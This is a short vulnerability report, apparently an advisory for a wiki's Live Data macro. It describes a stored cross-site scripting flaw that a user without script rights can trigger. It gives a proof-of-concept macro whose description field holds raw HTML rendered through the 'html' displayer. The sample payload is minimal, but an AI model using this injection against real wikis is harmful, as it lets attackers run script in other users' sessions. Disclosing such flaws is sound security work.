A user without script rights can introduce a stored XSS by using the Live Data macro.
For instance:
{{liveData id="movies" properties="title,description"}}
{
"data": {
"count": 1,
"entries": [
{
"title": "Meet John Doe",
"url": "https://www.imdb.com/title/tt0033891/",
"description": "<img src />"
}
]
},
"meta": {
"propertyDescriptors": [
{
"id": "title",
"name": "Title",
"visible": true,
"displayer": {"id": "link", "propertyHref": "url"}
},
{
"id": "description",
"name": "Description",
"visible": true,
"displayer": "html"
}
]
}
}
{{/liveData}}
